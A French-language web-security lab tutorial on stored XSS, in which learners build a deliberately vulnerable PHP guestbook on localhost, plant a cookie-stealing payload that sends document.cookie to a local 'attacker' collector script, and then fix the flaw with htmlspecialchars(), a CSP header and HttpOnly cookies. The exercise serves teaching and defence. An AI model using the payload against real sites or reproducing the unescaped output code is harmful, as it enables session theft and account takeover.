Aller au contenu principal

XSS

Schéma

  • Comprendre comment une application vulnérable peut être attaquée via une injection XSS.
  • Apprendre à s'en protéger avec htmlspecialchars(), le flag HttpOnly et une politique CSP.
attention

Si vous affichez des entrées utilisateur sans les échapper, un attaquant peut injecter du code JavaScript malveillant qui s'exécutera dans le navigateur des autres visiteurs (par exemple pour voler leur cookie de session et usurper leur identité).


1. Création du projet vulnérable​

Tout d'abord, créez un dossier livre-or contenant le fichier index.php : le livre d'or d'un club de randonnée, où chaque visiteur peut laisser un message lu par tout le monde.

<?php
$fichier = __DIR__ . '/commentaires.txt';

if (isset($_GET['message']) && $_GET['message'] !== '') {
file_put_contents($fichier, $_GET['message'] . "\n", FILE_APPEND);
}

// Simule un administrateur du club actuellement connecté sur ce navigateur
setcookie('session_admin', 'jeton-secret-abc123');

$commentaires = file_exists($fichier) ? file($fichier, FILE_IGNORE_NEW_LINES) : [];
?>
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Livre d'or - Club de randonnée</title>
</head>
<body>
<h1>Livre d'or du club de randonnée</h1>
<form method="get" action="">
<label for="message">Laissez un message :</label>
<input type="text" id="message" name="message" size="60">
<button type="submit">Envoyer</button>
</form>

<h2>Messages précédents :</h2>
<ul>
<?php foreach ($commentaires as $commentaire): ?>
<li><?= $commentaire ?></li>
<?php endforeach; ?>
</ul>
</body>
</html>
info

Le cookie session_admin simule un administrateur du club déjà connecté dans ce même navigateur. C'est ce cookie que nous allons essayer de voler dans les étapes suivantes.

info

Dans ce TP, les messages sont enregistrés dans le fichier commentaires.txt pour simplifier la mise en place. Un vrai site enregistrerait ces messages dans une base de données (une table commentaires, par exemple) : le problème serait exactement le même. Ce qui rend le XSS possible n'est pas l'endroit où la donnée est stockée (fichier ou base de données), mais le fait qu'elle soit réaffichée sans être échappée.


2. Démarrer le serveur Web​

Dans le dossier livre-or, démarrez le serveur Web intégré à PHP :

php -S localhost:8000

Ouvrez ensuite http://localhost:8000/ dans votre navigateur.


3. Tester une injection simple​

Dans le champ message, saisissez :

<script>alert('XSS !');</script>

Une alerte JavaScript s'affiche : le script a été exécuté par votre propre navigateur.


4. Constater que l'injection est stockée​

Rechargez la page sans ressaisir de message (allez simplement sur http://localhost:8000/).

L'alerte s'affiche à nouveau, alors que vous n'avez rien saisi cette fois-ci !

attention

C'est ce qu'on appelle un XSS stocké : le script est enregistré dans commentaires.txt et s'exécute pour tous les visiteurs qui consultent la page, à chaque fois. Un XSS stocké est donc bien plus dangereux qu'un XSS réfléchi, qui ne touche que la personne ayant cliqué sur un lien piégé.

Question : Si 10 visiteurs consultent cette page du livre d'or, combien d'entre eux exécuteront le script malveillant ?

📌 Une réponse

Nous allons maintenant jouer le rôle de l'attaquant, en créant un second site, entièrement sur notre machine, qui va collecter les cookies volés.

Créez un second dossier livre-or-attaquant (à côté de livre-or, pas dedans), contenant le fichier voleur.php :

<?php
// Ce script simule le serveur d'un attaquant qui collecte les cookies volés.
$cookieRecu = $_GET['cookie'] ?? '(aucun)';

file_put_contents(
__DIR__ . '/vols.txt',
date('H:i:s') . " - Cookie volé : $cookieRecu\n",
FILE_APPEND
);

// Répond par un pixel transparent 1x1, pour ne pas éveiller les soupçons
// dans le navigateur de la victime (technique classique d'exfiltration).
header('Content-Type: image/gif');
echo base64_decode('R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==');

Dans un second terminal, placez-vous dans le dossier livre-or-attaquant (et non dans livre-or), puis démarrez ce serveur sur un port différent :

cd livre-or-attaquant
php -S localhost:9000
attention

Si vous démarrez php -S localhost:9000 depuis le mauvais dossier (ou depuis livre-or), le serveur ne trouvera pas voleur.php et affichera une erreur 404 du type GET /voleur.php - No such file or directory. Vérifiez que le terminal est bien positionné dans livre-or-attaquant avant de lancer la commande.

Vous avez maintenant deux serveurs qui tournent en même temps sur votre machine :

  • http://localhost:8000 → le site de la victime (le club de randonnée)
  • http://localhost:9000 → le site de l'attaquant (le collecteur de cookies)

Retournez sur http://localhost:8000/ et saisissez, comme message :

<script>new Image().src='http://localhost:9000/voleur.php?cookie='+document.cookie;</script>
info

new Image().src = '...' demande au navigateur de charger une image depuis cette URL. Le navigateur envoie donc bien la requête vers localhost:9000, avec le cookie de la victime en paramètre, sans jamais afficher de fenêtre suspecte. C'est une technique d'exfiltration discrète très utilisée dans les vraies attaques XSS.


6. Observer le vol réussi​

Ouvrez le fichier livre-or-attaquant/vols.txt.

Résultat attendu : une ligne contenant session_admin=jeton-secret-abc123.

Le cookie de l'administrateur du club a été exfiltré vers le site de l'attaquant.


7. Sécuriser le code PHP​

Modifiez livre-or/index.php pour échapper l'affichage des commentaires avec htmlspecialchars() :

<li><?= htmlspecialchars($commentaire) ?></li>
📌 Le fichier corrigé complet

Videz commentaires.txt (ou supprimez-le, il sera recréé automatiquement) pour repartir d'un livre d'or propre.


8. Vérifier que l'injection ne fonctionne plus​

Saisissez à nouveau le payload de vol de cookie de l'étape 5, sur http://localhost:8000/, message :

<script>new Image().src='http://localhost:9000/voleur.php?cookie='+document.cookie;</script>

Résultat attendu : le texte <script>...</script> s'affiche tel quel, comme du texte brut, au lieu de s'exécuter. Vérifiez que livre-or-attaquant/vols.txt ne reçoit plus aucune nouvelle ligne.

Question : Pourquoi htmlspecialchars() empêche-t-il le navigateur d'exécuter le script, alors que le texte saisi par l'attaquant n'a pas changé ?

📌 Une réponse

9. Ajouter une couche de défense supplémentaire : Content-Security-Policy​

Même bien codée, une application peut contenir une faille XSS non détectée. Une Content Security Policy (CSP) est une protection supplémentaire, côté navigateur, qui limite les scripts autorisés à s'exécuter sur la page — même si un attaquant parvient à en injecter un.

Ajoutez cet en-tête tout en haut de index.php, avant toute sortie HTML :

<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
Bonne pratique - Défense en profondeur

script-src 'self' n'autorise que les scripts hébergés sur le même site. Un payload comme new Image().src='http://localhost:9000/...' continuerait de fonctionner (ce n'est pas un <script> externe), mais un <script src="https://site-pirate.com/vol.js"> injecté par un attaquant serait, lui, bloqué par le navigateur. La CSP est un filet de sécurité en plus, jamais un substitut à l'échappement des sorties.


Notions théoriques​

Le Cross-Site Scripting (XSS) est une faille de sécurité qui permet à un attaquant d'injecter du code JavaScript malveillant dans une page Web consultée par d'autres utilisateurs.

Cette attaque est souvent utilisée pour :

  • voler des cookies de session (comme dans le TP ci-dessus),
  • rediriger des utilisateurs vers un site frauduleux,
  • ou modifier l'affichage d'une page Web (défiguration).

Comment fonctionne une attaque XSS ?​

  1. Injection de script : L'attaquant insère du code JavaScript dans un champ d'entrée (commentaire, formulaire, URL).
  2. Exécution du script : Lorsqu'un utilisateur visite la page, le script s'exécute dans son navigateur, avec ses droits (dont ses cookies).
  3. Exploitation : L'attaquant récupère des données sensibles (cookies, jetons de session) ou modifie l'affichage de la page.

Types de XSS​

  1. XSS stocké (celui du TP ci-dessus) : le script malveillant est enregistré côté serveur (base de données, fichier) et s'exécute à chaque affichage de la page, pour tous les visiteurs. C'est le plus dangereux.
  2. XSS réfléchi : le script est injecté via une URL (paramètre GET) et ne s'exécute que pour la victime qui clique sur ce lien piégé.
  3. XSS basé sur le DOM : le script est injecté et exécuté directement par le JavaScript du site (par exemple innerHTML), sans même repasser par le serveur.

Comment se protéger ?​

  • Échapper les sorties avec htmlspecialchars() en PHP, à chaque endroit où une donnée utilisateur est affichée dans du HTML.

  • Ne jamais faire confiance à une entrée utilisateur.

  • Utiliser une Content-Security-Policy (CSP) pour limiter les scripts autorisés à s'exécuter.

  • Protéger les cookies sensibles avec le flag HttpOnly :

    setcookie('session_admin', 'jeton-secret-abc123', ['httponly' => true]);

    Un cookie marqué HttpOnly reste invisible pour document.cookie : même avec une faille XSS non corrigée, new Image().src = '...' + document.cookie ne récupérerait plus rien. C'est une seconde protection indépendante de htmlspecialchars().

attention

Le flag HttpOnly protège le cookie contre le vol par JavaScript, mais ne corrige pas la faille XSS elle-même : un attaquant pourrait toujours modifier l'affichage de la page ou rediriger la victime. htmlspecialchars() reste la protection principale.


Test de mémorisation/compréhension​


Quelle est la principale cause d'une faille XSS ?


Quel langage est exécuté dans le navigateur lors d'une attaque XSS ?


Quel type de XSS touche tous les visiteurs d'une page, à chaque affichage ?


Que fait `htmlspecialchars()` en PHP ?


Pourquoi le payload utilise-t-il `new Image().src = '...'` plutôt qu'une simple redirection ?


Que permet le flag `HttpOnly` sur un cookie ?


Le flag `HttpOnly` corrige-t-il la faille XSS elle-même ?


Quelle directive HTTP permet de limiter les scripts autorisés à s'exécuter sur une page ?


Une Content-Security-Policy remplace-t-elle la nécessité d'utiliser `htmlspecialchars()` ?


Quelle est la meilleure protection principale contre le XSS ?



Bonnes pratiques​

  • Échapper systématiquement l'affichage des données utilisateur avec htmlspecialchars().
  • Protéger les cookies sensibles avec le flag HttpOnly.
  • Mettre en place une Content-Security-Policy en défense supplémentaire.
  • Ne jamais faire confiance à une entrée utilisateur, même après une simple validation de format.
attention

Un XSS corrigé aujourd'hui peut réapparaître demain si un nouveau développeur oublie htmlspecialchars() sur un nouvel affichage. Pensez à centraliser l'échappement dans une fonction ou un template réutilisé partout.


Une bonne pratique, la factorisation​

Dans le TP, htmlspecialchars($commentaire) est écrit à chaque endroit où un commentaire est affiché. Sur un vrai site, ce même échappement se répète souvent dans des dizaines de fichiers (liste, page de détail, export, notifications...). Factoriser, c'est regrouper ce code répété dans une seule fonction (ou un seul template), appelée partout où le besoin existe, au lieu de le recopier à chaque endroit.

function afficherEnSecurite(string $texte): string {
return htmlspecialchars($texte);
}

// Utilisation partout dans le site :
echo afficherEnSecurite($commentaire);

Avantages de la factorisation, appliqués à la sécurité :

  • Une seule protection à corriger : si une faille est découverte dans la façon d'échapper les sorties, il suffit de corriger afficherEnSecurite() une fois, au lieu de chercher tous les endroits du site à modifier.
  • Impossible d'oublier l'échappement : un développeur qui affiche une donnée utilisateur utilise naturellement la fonction commune, il ne peut pas oublier htmlspecialchars() puisqu'il n'a plus à y penser à chaque fois.
  • Code plus lisible et plus court : un seul endroit à lire pour comprendre comment les données sont sécurisées, plutôt que de vérifier chaque affichage un par un.
  • Cohérence garantie : tous les affichages du site utilisent exactement la même règle de sécurité, sans variante oubliée ou mal recopiée.
Bonne pratique - Factoriser la sécurité

La sécurité ne doit jamais dépendre de la mémoire du développeur. Factoriser l'échappement dans une fonction rend l'oubli de htmlspecialchars() techniquement impossible, plutôt que simplement peu probable.